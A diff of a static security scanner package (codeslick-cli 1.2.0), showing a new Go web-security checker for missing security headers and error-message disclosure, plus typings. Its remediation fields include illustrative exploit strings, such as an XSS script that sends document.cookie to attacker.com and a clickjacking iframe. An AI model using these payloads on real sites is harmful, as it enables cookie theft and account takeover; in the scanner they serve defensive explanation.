codeslick-cli 1.1.6 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/__tests__/local-scanner.test.ts +5 -0
- package/dist/packages/cli/src/commands/scan.d.ts.map +1 -1
- package/dist/packages/cli/src/commands/scan.js +3 -1
- package/dist/packages/cli/src/commands/scan.js.map +1 -1
- package/dist/packages/cli/src/config/config-loader.d.ts +2 -2
- package/dist/packages/cli/src/config/config-loader.d.ts.map +1 -1
- package/dist/packages/cli/src/config/config-loader.js +2 -2
- package/dist/packages/cli/src/config/config-loader.js.map +1 -1
- package/dist/packages/cli/src/scanner/local-scanner.d.ts +2 -2
- package/dist/packages/cli/src/scanner/local-scanner.d.ts.map +1 -1
- package/dist/packages/cli/src/scanner/local-scanner.js +10 -1
- package/dist/packages/cli/src/scanner/local-scanner.js.map +1 -1
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.d.ts +20 -0
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.js +211 -0
- package/dist/src/lib/analyzers/go/quality-checks/code-quality.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.d.ts +20 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.js +201 -0
- package/dist/src/lib/analyzers/go/security-checks/access-control.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.d.ts +25 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.js +545 -0
- package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.d.ts +23 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.js +321 -0
- package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.d.ts +22 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.js +267 -0
- package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.js +210 -0
- package/dist/src/lib/analyzers/go/security-checks/deserialization.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.js +192 -0
- package/dist/src/lib/analyzers/go/security-checks/error-handling.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.d.ts +24 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.js +401 -0
- package/dist/src/lib/analyzers/go/security-checks/injection-attacks.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.js +252 -0
- package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.d.ts +19 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.js +112 -0
- package/dist/src/lib/analyzers/go/security-checks/tls-configuration.js.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.d.ts +22 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.js +244 -0
- package/dist/src/lib/analyzers/go/security-checks/web-security.js.map +1 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.d.ts +58 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.js +71 -0
- package/dist/src/lib/analyzers/go/utils/createVulnerability.js.map +1 -0
- package/dist/src/lib/analyzers/go-analyzer.d.ts +48 -0
- package/dist/src/lib/analyzers/go-analyzer.d.ts.map +1 -0
- package/dist/src/lib/analyzers/go-analyzer.js +233 -0
- package/dist/src/lib/analyzers/go-analyzer.js.map +1 -0
- package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.d.ts.map +1 -1
- package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.js +1 -0
- package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.js.map +1 -1
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.d.ts +5 -3
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.d.ts.map +1 -1
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js +23 -5
- package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js.map +1 -1
- package/dist/src/lib/analyzers/python-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/python-analyzer.js +17 -1
- package/dist/src/lib/analyzers/python-analyzer.js.map +1 -1
- package/dist/src/lib/analyzers/secrets/secrets-analyzer.d.ts +1 -1
- package/dist/src/lib/analyzers/secrets/secrets-analyzer.d.ts.map +1 -1
- package/dist/src/lib/analyzers/secrets/secrets-analyzer.js.map +1 -1
- package/dist/src/lib/security/compliance-mapping.d.ts.map +1 -1
- package/dist/src/lib/security/compliance-mapping.js +403 -0
- package/dist/src/lib/security/compliance-mapping.js.map +1 -1
- package/dist/src/lib/security/severity-scoring.d.ts.map +1 -1
- package/dist/src/lib/security/severity-scoring.js +169 -0
- package/dist/src/lib/security/severity-scoring.js.map +1 -1
- package/dist/src/lib/types/index.d.ts +2 -2
- package/dist/src/lib/types/index.d.ts.map +1 -1
- package/example3.go +23 -0
- package/package.json +1 -1
- package/src/commands/scan.ts +3 -1
- package/src/config/config-loader.ts +3 -3
- package/src/scanner/local-scanner.ts +13 -2
|
@@ -0,0 +1,244 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Go Web Security Checks
|
|
4
|
+
* OWASP A05:2025 - Security Misconfiguration
|
|
5
|
+
*
|
|
6
|
+
* Detects missing security headers and information disclosure vulnerabilities
|
|
7
|
+
* in Go web applications.
|
|
8
|
+
*/
|
|
9
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
10
|
+
exports.checkWebSecurity = checkWebSecurity;
|
|
11
|
+
const createVulnerability_1 = require("../utils/createVulnerability");
|
|
12
|
+
/**
|
|
13
|
+
* Checks for web security misconfigurations
|
|
14
|
+
*
|
|
15
|
+
* Covers:
|
|
16
|
+
* - Check #1: Missing X-Frame-Options header (MEDIUM)
|
|
17
|
+
* - Check #2: Missing HSTS header (MEDIUM)
|
|
18
|
+
* - Check #3: Missing Content-Security-Policy header (MEDIUM)
|
|
19
|
+
* - Check #4: Information disclosure via error messages (MEDIUM)
|
|
20
|
+
*
|
|
21
|
+
* @param lines - Array of code lines
|
|
22
|
+
* @returns Array of security vulnerabilities found
|
|
23
|
+
*/
|
|
24
|
+
function checkWebSecurity(lines) {
|
|
25
|
+
const vulnerabilities = [];
|
|
26
|
+
let inMultiLineComment = false;
|
|
27
|
+
// Track HTTP handlers and response header setting
|
|
28
|
+
const fileContent = lines.join('\n');
|
|
29
|
+
const hasHTTPHandlers = /http\.ResponseWriter/i.test(fileContent);
|
|
30
|
+
// Track which security headers are set in the file (only if there are HTTP handlers)
|
|
31
|
+
const hasXFrameOptions = hasHTTPHandlers && /X-Frame-Options|Header\(\)\.Set\([^)]*X-Frame-Options/i.test(fileContent);
|
|
32
|
+
const hasHSTS = hasHTTPHandlers && /Strict-Transport-Security|Header\(\)\.Set\([^)]*Strict-Transport-Security/i.test(fileContent);
|
|
33
|
+
const hasCSP = hasHTTPHandlers && /Content-Security-Policy|Header\(\)\.Set\([^)]*Content-Security-Policy/i.test(fileContent);
|
|
34
|
+
lines.forEach((line, index) => {
|
|
35
|
+
const lineNumber = index + 1;
|
|
36
|
+
const trimmed = line.trim();
|
|
37
|
+
// Track multi-line comments (/* ... */)
|
|
38
|
+
if (trimmed.includes('/*')) {
|
|
39
|
+
inMultiLineComment = true;
|
|
40
|
+
}
|
|
41
|
+
if (trimmed.includes('*/')) {
|
|
42
|
+
inMultiLineComment = false;
|
|
43
|
+
return;
|
|
44
|
+
}
|
|
45
|
+
// Skip comments and empty lines
|
|
46
|
+
if (!trimmed || inMultiLineComment || trimmed.startsWith('//')) {
|
|
47
|
+
return;
|
|
48
|
+
}
|
|
49
|
+
// =============================================================================
|
|
50
|
+
// Check #1-3: Missing Security Headers
|
|
51
|
+
// =============================================================================
|
|
52
|
+
// CVSS 5.5, 5.0, 5.5 - MEDIUM
|
|
53
|
+
// Detects HTTP handlers that don't set security headers
|
|
54
|
+
// Check for HTTP handler function declaration
|
|
55
|
+
const isFuncDeclaration = /^func\s+(\w+)\s*\(/i.test(trimmed);
|
|
56
|
+
const hasResponseWriter = /http\.ResponseWriter/i.test(trimmed);
|
|
57
|
+
if (isFuncDeclaration && hasResponseWriter) {
|
|
58
|
+
const funcMatch = trimmed.match(/^func\s+(\w+)/i);
|
|
59
|
+
const handlerName = funcMatch ? funcMatch[1] : 'handler';
|
|
60
|
+
// Look ahead in the function body (next 30 lines) for security headers
|
|
61
|
+
let functionHasXFrameOptions = false;
|
|
62
|
+
let functionHasHSTS = false;
|
|
63
|
+
let functionHasCSP = false;
|
|
64
|
+
for (let i = index; i < Math.min(index + 30, lines.length); i++) {
|
|
65
|
+
const bodyLine = lines[i].trim();
|
|
66
|
+
// Check for next function (end of current function)
|
|
67
|
+
if (i > index && /^func\s+\w+/.test(bodyLine)) {
|
|
68
|
+
break;
|
|
69
|
+
}
|
|
70
|
+
if (/X-Frame-Options|Header\(\)\.Set\([^)]*X-Frame-Options/i.test(bodyLine)) {
|
|
71
|
+
functionHasXFrameOptions = true;
|
|
72
|
+
}
|
|
73
|
+
if (/Strict-Transport-Security|Header\(\)\.Set\([^)]*Strict-Transport-Security/i.test(bodyLine)) {
|
|
74
|
+
functionHasHSTS = true;
|
|
75
|
+
}
|
|
76
|
+
if (/Content-Security-Policy|Header\(\)\.Set\([^)]*Content-Security-Policy/i.test(bodyLine)) {
|
|
77
|
+
functionHasCSP = true;
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
// Check #1: Missing X-Frame-Options
|
|
81
|
+
if (!functionHasXFrameOptions && !hasXFrameOptions) {
|
|
82
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
83
|
+
category: 'go-missing-xframe',
|
|
84
|
+
severity: 'medium',
|
|
85
|
+
confidence: 'medium',
|
|
86
|
+
message: `Missing X-Frame-Options header in HTTP handler '${handlerName}'`,
|
|
87
|
+
line: lineNumber,
|
|
88
|
+
suggestion: 'Set X-Frame-Options header to "DENY" or "SAMEORIGIN" to prevent clickjacking',
|
|
89
|
+
owasp: 'A05:2025 - Security Misconfiguration',
|
|
90
|
+
cwe: 'CWE-1021',
|
|
91
|
+
pciDss: 'PCI DSS 6.5.10',
|
|
92
|
+
remediation: {
|
|
93
|
+
explanation: 'The X-Frame-Options header prevents clickjacking attacks by controlling whether your page can be embedded in frames. Without it, attackers can overlay invisible frames to trick users into clicking malicious links.',
|
|
94
|
+
before: `func handler(w http.ResponseWriter, r *http.Request) {\n // No X-Frame-Options header\n w.Write([]byte("response"))\n}`,
|
|
95
|
+
after: `func handler(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("X-Frame-Options", "DENY")\n w.Write([]byte("response"))\n}`
|
|
96
|
+
},
|
|
97
|
+
attackVector: {
|
|
98
|
+
description: 'Clickjacking (UI redressing) attacks overlay invisible frames over legitimate pages, tricking users into performing unintended actions like changing passwords or transferring money.',
|
|
99
|
+
exploitExample: `<!-- Attacker's page -->\n<iframe src="https://victim.com/transfer?amount=1000&to=attacker"></iframe>\n<!-- Victim thinks they're clicking a game but actually initiating transfer -->`,
|
|
100
|
+
realWorldImpact: [
|
|
101
|
+
'Clickjacking attacks enabling unauthorized actions',
|
|
102
|
+
'Social engineering via UI redressing',
|
|
103
|
+
'Account takeover through tricked password changes',
|
|
104
|
+
'Unauthorized financial transactions',
|
|
105
|
+
'Compliance violations (OWASP, PCI DSS)'
|
|
106
|
+
]
|
|
107
|
+
}
|
|
108
|
+
}));
|
|
109
|
+
}
|
|
110
|
+
// Check #2: Missing HSTS
|
|
111
|
+
if (!functionHasHSTS && !hasHSTS) {
|
|
112
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
113
|
+
category: 'go-missing-hsts',
|
|
114
|
+
severity: 'medium',
|
|
115
|
+
confidence: 'medium',
|
|
116
|
+
message: `Missing HSTS (Strict-Transport-Security) header in HTTP handler '${handlerName}'`,
|
|
117
|
+
line: lineNumber,
|
|
118
|
+
suggestion: 'Set Strict-Transport-Security header to enforce HTTPS connections',
|
|
119
|
+
owasp: 'A05:2025 - Security Misconfiguration',
|
|
120
|
+
cwe: 'CWE-523',
|
|
121
|
+
pciDss: 'PCI DSS 4.1',
|
|
122
|
+
remediation: {
|
|
123
|
+
explanation: 'HSTS (HTTP Strict Transport Security) forces browsers to only connect via HTTPS, preventing protocol downgrade attacks and cookie hijacking. Required for PCI DSS compliance.',
|
|
124
|
+
before: `func handler(w http.ResponseWriter, r *http.Request) {\n // No HSTS header - vulnerable to protocol downgrade\n w.Write([]byte("response"))\n}`,
|
|
125
|
+
after: `func handler(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains")\n w.Write([]byte("response"))\n}`
|
|
126
|
+
},
|
|
127
|
+
attackVector: {
|
|
128
|
+
description: 'Without HSTS, attackers can downgrade HTTPS connections to HTTP, enabling man-in-the-middle attacks to steal session cookies and credentials.',
|
|
129
|
+
exploitExample: `// Attacker performs SSL strip attack:\n// 1. Intercepts initial HTTP request\n// 2. Downgrades HTTPS to HTTP\n// 3. Steals session cookies and credentials\n// HSTS prevents this by forcing HTTPS-only`,
|
|
130
|
+
realWorldImpact: [
|
|
131
|
+
'Protocol downgrade attacks (SSL stripping)',
|
|
132
|
+
'Session cookie theft via MITM',
|
|
133
|
+
'Credential interception',
|
|
134
|
+
'PCI DSS compliance failures',
|
|
135
|
+
'Browser security warnings for users'
|
|
136
|
+
]
|
|
137
|
+
}
|
|
138
|
+
}));
|
|
139
|
+
}
|
|
140
|
+
// Check #3: Missing Content-Security-Policy
|
|
141
|
+
if (!functionHasCSP && !hasCSP) {
|
|
142
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
143
|
+
category: 'go-missing-csp',
|
|
144
|
+
severity: 'medium',
|
|
145
|
+
confidence: 'medium',
|
|
146
|
+
message: `Missing Content-Security-Policy header in HTTP handler '${handlerName}'`,
|
|
147
|
+
line: lineNumber,
|
|
148
|
+
suggestion: 'Set Content-Security-Policy header to prevent XSS attacks',
|
|
149
|
+
owasp: 'A05:2025 - Security Misconfiguration',
|
|
150
|
+
cwe: 'CWE-693',
|
|
151
|
+
pciDss: 'PCI DSS 6.5.7',
|
|
152
|
+
remediation: {
|
|
153
|
+
explanation: 'Content-Security-Policy (CSP) prevents XSS attacks by whitelisting trusted sources for scripts, styles, and other resources. It\'s a defense-in-depth measure against injection attacks.',
|
|
154
|
+
before: `func handler(w http.ResponseWriter, r *http.Request) {\n // No CSP - vulnerable to XSS\n w.Write([]byte("<html>...</html>"))\n}`,
|
|
155
|
+
after: `func handler(w http.ResponseWriter, r *http.Request) {\n w.Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self'")\n w.Write([]byte("<html>...</html>"))\n}`
|
|
156
|
+
},
|
|
157
|
+
attackVector: {
|
|
158
|
+
description: 'Without CSP, successful XSS attacks can execute arbitrary JavaScript, even if input is sanitized elsewhere. CSP provides defense-in-depth by blocking inline scripts and untrusted sources.',
|
|
159
|
+
exploitExample: `// If XSS bypasses other defenses:\n<script>fetch('https://attacker.com?cookie='+document.cookie)</script>\n// CSP would block this even if injected`,
|
|
160
|
+
realWorldImpact: [
|
|
161
|
+
'Defense-in-depth against XSS attacks',
|
|
162
|
+
'Blocks inline scripts and eval()',
|
|
163
|
+
'Prevents data exfiltration to untrusted domains',
|
|
164
|
+
'Mitigates impact of successful XSS',
|
|
165
|
+
'Required for security-conscious applications'
|
|
166
|
+
]
|
|
167
|
+
}
|
|
168
|
+
}));
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
// =============================================================================
|
|
172
|
+
// Check #4: Information Disclosure
|
|
173
|
+
// =============================================================================
|
|
174
|
+
// CVSS 6.8 - MEDIUM
|
|
175
|
+
// Detects error responses that expose stack traces or sensitive information
|
|
176
|
+
// Check for error responses with debug information
|
|
177
|
+
const hasErrorResponse = /http\.Error\s*\(/i.test(trimmed);
|
|
178
|
+
const hasDebugInfo = /error|err|debug|stack|trace|panic/i.test(trimmed);
|
|
179
|
+
if (hasErrorResponse && hasDebugInfo) {
|
|
180
|
+
// Flag if error response includes actual error variable (not static string)
|
|
181
|
+
// Check for: err.Error(), fmt.Sprintf with err, panic, or error variable in response
|
|
182
|
+
if (/\berr\.Error\(\)|fmt\.Sprintf.*\berr\b|panic\(|http\.Error.*\berr\b/i.test(trimmed)) {
|
|
183
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
184
|
+
category: 'go-info-disclosure',
|
|
185
|
+
severity: 'medium',
|
|
186
|
+
confidence: 'medium',
|
|
187
|
+
message: 'Information disclosure: Error response may expose stack traces or internal details',
|
|
188
|
+
line: lineNumber,
|
|
189
|
+
suggestion: 'Return generic error messages to users; log detailed errors internally',
|
|
190
|
+
owasp: 'A05:2025 - Security Misconfiguration',
|
|
191
|
+
cwe: 'CWE-209',
|
|
192
|
+
pciDss: 'PCI DSS 6.5.5',
|
|
193
|
+
remediation: {
|
|
194
|
+
explanation: 'Exposing detailed error messages reveals internal application structure, file paths, database schemas, and stack traces. This information helps attackers plan targeted attacks.',
|
|
195
|
+
before: `if err != nil {\n http.Error(w, err.Error(), 500) // Exposes internal details\n}`,
|
|
196
|
+
after: `if err != nil {\n log.Printf("Internal error: %v", err) // Log internally\n http.Error(w, "Internal server error", 500) // Generic message to user\n}`
|
|
197
|
+
},
|
|
198
|
+
attackVector: {
|
|
199
|
+
description: 'Detailed error messages expose database schemas, file paths, internal IP addresses, and software versions, enabling reconnaissance for targeted attacks.',
|
|
200
|
+
exploitExample: `// Exposed error reveals:\n"SQL error: table 'users' column 'password_hash' not found at /app/db/queries.go:42"\n// Attacker learns: database schema, file structure, Go version`,
|
|
201
|
+
realWorldImpact: [
|
|
202
|
+
'Information leakage about internal architecture',
|
|
203
|
+
'Database schema and table structure exposed',
|
|
204
|
+
'File paths and directory structure revealed',
|
|
205
|
+
'Software versions and dependencies disclosed',
|
|
206
|
+
'Enables targeted attacks and exploits'
|
|
207
|
+
]
|
|
208
|
+
}
|
|
209
|
+
}));
|
|
210
|
+
}
|
|
211
|
+
}
|
|
212
|
+
// Also check for debug mode or verbose error logging in production
|
|
213
|
+
if (/debug\s*(?:=|:=)\s*true|verbose\s*(?:=|:=)\s*true/i.test(trimmed)) {
|
|
214
|
+
vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
|
|
215
|
+
category: 'go-info-disclosure',
|
|
216
|
+
severity: 'medium',
|
|
217
|
+
confidence: 'low',
|
|
218
|
+
message: 'Information disclosure: Debug mode enabled may expose sensitive information',
|
|
219
|
+
line: lineNumber,
|
|
220
|
+
suggestion: 'Disable debug mode in production; use environment variables for configuration',
|
|
221
|
+
owasp: 'A05:2025 - Security Misconfiguration',
|
|
222
|
+
cwe: 'CWE-489',
|
|
223
|
+
pciDss: 'PCI DSS 6.5.5',
|
|
224
|
+
remediation: {
|
|
225
|
+
explanation: 'Debug mode often outputs verbose logs, stack traces, and internal state. This should be disabled in production and controlled via environment variables.',
|
|
226
|
+
before: `const debug = true // Hardcoded debug mode`,
|
|
227
|
+
after: `var debug = os.Getenv("DEBUG") == "true" // Controlled via environment`
|
|
228
|
+
},
|
|
229
|
+
attackVector: {
|
|
230
|
+
description: 'Debug mode enables verbose logging of internal operations, potentially exposing credentials, API keys, user data, and business logic.',
|
|
231
|
+
exploitExample: `// Debug mode logs:\n[DEBUG] SQL: SELECT * FROM users WHERE email='admin@example.com' AND password='...'`,
|
|
232
|
+
realWorldImpact: [
|
|
233
|
+
'Credentials logged in plaintext',
|
|
234
|
+
'API keys exposed in logs',
|
|
235
|
+
'Business logic revealed',
|
|
236
|
+
'Performance degradation from excessive logging'
|
|
237
|
+
]
|
|
238
|
+
}
|
|
239
|
+
}));
|
|
240
|
+
}
|
|
241
|
+
});
|
|
242
|
+
return vulnerabilities;
|
|
243
|
+
}
|
|
244
|
+
//# sourceMappingURL=web-security.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"web-security.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/security-checks/web-security.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;AAiBH,4CAmQC;AAjRD,sEAA6E;AAE7E;;;;;;;;;;;GAWG;AACH,SAAgB,gBAAgB,CAAC,KAAe;IAC9C,MAAM,eAAe,GAA4B,EAAE,CAAC;IACpD,IAAI,kBAAkB,GAAG,KAAK,CAAC;IAE/B,kDAAkD;IAClD,MAAM,WAAW,GAAG,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IACrC,MAAM,eAAe,GAAG,uBAAuB,CAAC,IAAI,CAAC,WAAW,CAAC,CAAC;IAElE,qFAAqF;IACrF,MAAM,gBAAgB,GAAG,eAAe,IAAI,wDAAwD,CAAC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BACD,YAAY,EAAE;wBACZ,WAAW,EACT,0JAA0J;wBAC5J,cAAc,EAAE,kLAAkL;wBAClM,eAAe,EAAE;4BACf,iDAAiD;4BACjD,6CAA6C;4BAC7C,6CAA6C;4BAC7C,8CAA8C;4BAC9C,uCAAuC;yBACxC;qBACF;iBACF,CAAC,CACH,CAAC;YACJ,CAAC;QACH,CAAC;QAED,mEAAmE;QACnE,IAAI,oDAAoD,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC;YACvE,eAAe,CAAC,IAAI,CAClB,IAAA,mDAA6B,EAAC;gBAC5B,QAAQ,EAAE,oBAAoB;gBAC9B,QAAQ,EAAE,QAAQ;gBAClB,UAAU,EAAE,KAAK;gBACjB,OAAO,EAAE,6EAA6E;gBACtF,IAAI,EAAE,UAAU;gBAChB,UAAU,EAAE,+EAA+E;gBAC3F,KAAK,EAAE,sCAAsC;gBAC7C,GAAG,EAAE,SAAS;gBACd,MAAM,EAAE,eAAe;gBACvB,WAAW,EAAE;oBACX,WAAW,EACT,0JAA0J;oBAC5J,MAAM,EAAE,4CAA4C;oBACpD,KAAK,EAAE,wEAAwE;iBAChF;gBACD,YAAY,EAAE;oBACZ,WAAW,EACT,uIAAuI;oBACzI,cAAc,EAAE,0GAA0G;oBAC1H,eAAe,EAAE;wBACf,iCAAiC;wBACjC,0BAA0B;wBAC1B,yBAAyB;wBACzB,gDAAgD;qBACjD;iBACF;aACF,CAAC,CACH,CAAC;QACJ,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,eAAe,CAAC;AACzB,CAAC"}
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Utility function to create security vulnerability objects for Go analyzer
|
|
3
|
+
*
|
|
4
|
+
* This module provides a standardized way to create SecurityVulnerability objects
|
|
5
|
+
* with proper CVSS scoring, OWASP mapping, and compliance information.
|
|
6
|
+
*/
|
|
7
|
+
import { SecurityVulnerability } from '../../types';
|
|
8
|
+
/**
|
|
9
|
+
* Parameters for creating a security vulnerability object
|
|
10
|
+
*/
|
|
11
|
+
interface VulnerabilityParams {
|
|
12
|
+
category: string;
|
|
13
|
+
severity: string;
|
|
14
|
+
confidence: string;
|
|
15
|
+
message: string;
|
|
16
|
+
line: number;
|
|
17
|
+
suggestion: string;
|
|
18
|
+
owasp: string;
|
|
19
|
+
cwe: string;
|
|
20
|
+
pciDss: string;
|
|
21
|
+
securityRelevant?: boolean;
|
|
22
|
+
remediation: {
|
|
23
|
+
explanation: string;
|
|
24
|
+
before: string;
|
|
25
|
+
after: string;
|
|
26
|
+
};
|
|
27
|
+
attackVector: {
|
|
28
|
+
description: string;
|
|
29
|
+
exploitExample?: string;
|
|
30
|
+
realWorldImpact: string[];
|
|
31
|
+
};
|
|
32
|
+
}
|
|
33
|
+
/**
|
|
34
|
+
* Creates a standardized security vulnerability object for Go code
|
|
35
|
+
* Supports both object parameter style (OWASP 2025) and legacy individual parameters
|
|
36
|
+
*
|
|
37
|
+
* @param params - Object containing all vulnerability parameters (OWASP 2025 style)
|
|
38
|
+
* @returns SecurityVulnerability object with all required fields
|
|
39
|
+
*/
|
|
40
|
+
export declare function createGoSecurityVulnerability(params: VulnerabilityParams): SecurityVulnerability;
|
|
41
|
+
/**
|
|
42
|
+
* Legacy function signature for backward compatibility
|
|
43
|
+
*
|
|
44
|
+
* @param vulnerabilityType - Type identifier for severity scoring (e.g., 'go-sql-injection')
|
|
45
|
+
* @param message - User-friendly vulnerability message
|
|
46
|
+
* @param suggestion - Remediation suggestion
|
|
47
|
+
* @param lineNumber - Line number where vulnerability was detected
|
|
48
|
+
* @param attackDescription - Detailed description of the attack vector
|
|
49
|
+
* @param exploitExample - Example of how the vulnerability can be exploited
|
|
50
|
+
* @param realWorldImpact - Array of potential real-world impacts
|
|
51
|
+
* @param remediationBefore - Code example showing vulnerable pattern
|
|
52
|
+
* @param remediationAfter - Code example showing secure pattern
|
|
53
|
+
* @param remediationExplanation - Explanation of why the fix works
|
|
54
|
+
* @returns SecurityVulnerability object with all required fields
|
|
55
|
+
*/
|
|
56
|
+
export declare function createGoSecurityVulnerability(vulnerabilityType: string, message: string, suggestion: string, lineNumber: number, attackDescription: string, exploitExample: string, realWorldImpact: string[], remediationBefore: string, remediationAfter: string, remediationExplanation: string): SecurityVulnerability;
|
|
57
|
+
export {};
|
|
58
|
+
//# sourceMappingURL=createVulnerability.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"createVulnerability.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/utils/createVulnerability.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAIpD;;GAEG;AACH,UAAU,mBAAmB;IAC3B,QAAQ,EAAE,MAAM,CAAC;IACjB,QAAQ,EAAE,MAAM,CAAC;IACjB,UAAU,EAAE,MAAM,CAAC;IACnB,OAAO,EAAE,MAAM,CAAC;IAChB,IAAI,EAAE,MAAM,CAAC;IACb,UAAU,EAAE,MAAM,CAAC;IACnB,KAAK,EAAE,MAAM,CAAC;IACd,GAAG,EAAE,MAAM,CAAC;IACZ,MAAM,EAAE,MAAM,CAAC;IACf,gBAAgB,CAAC,EAAE,OAAO,CAAC;IAC3B,WAAW,EAAE;QACX,WAAW,EAAE,MAAM,CAAC;QACpB,MAAM,EAAE,MAAM,CAAC;QACf,KAAK,EAAE,MAAM,CAAC;KACf,CAAC;IACF,YAAY,EAAE;QACZ,WAAW,EAAE,MAAM,CAAC;QACpB,cAAc,CAAC,EAAE,MAAM,CAAC;QACxB,eAAe,EAAE,MAAM,EAAE,CAAC;KAC3B,CAAC;CACH;AAED;;;;;;GAMG;AACH,wBAAgB,6BAA6B,CAC3C,MAAM,EAAE,mBAAmB,GAC1B,qBAAqB,CAAC;AAEzB;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,6BAA6B,CAC3C,iBAAiB,EAAE,MAAM,EACzB,OAAO,EAAE,MAAM,EACf,UAAU,EAAE,MAAM,EAClB,UAAU,EAAE,MAAM,EAClB,iBAAiB,EAAE,MAAM,EACzB,cAAc,EAAE,MAAM,EACtB,eAAe,EAAE,MAAM,EAAE,EACzB,iBAAiB,EAAE,MAAM,EACzB,gBAAgB,EAAE,MAAM,EACxB,sBAAsB,EAAE,MAAM,GAC7B,qBAAqB,CAAC"}
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Utility function to create security vulnerability objects for Go analyzer
|
|
4
|
+
*
|
|
5
|
+
* This module provides a standardized way to create SecurityVulnerability objects
|
|
6
|
+
* with proper CVSS scoring, OWASP mapping, and compliance information.
|
|
7
|
+
*/
|
|
8
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
9
|
+
exports.createGoSecurityVulnerability = createGoSecurityVulnerability;
|
|
10
|
+
const severity_scoring_1 = require("../../../security/severity-scoring");
|
|
11
|
+
const compliance_mapping_1 = require("../../../security/compliance-mapping");
|
|
12
|
+
function createGoSecurityVulnerability(paramsOrType, message, suggestion, lineNumber, attackDescription, exploitExample, realWorldImpact, remediationBefore, remediationAfter, remediationExplanation) {
|
|
13
|
+
// Check if using new object-style parameters (OWASP 2025)
|
|
14
|
+
if (typeof paramsOrType === 'object') {
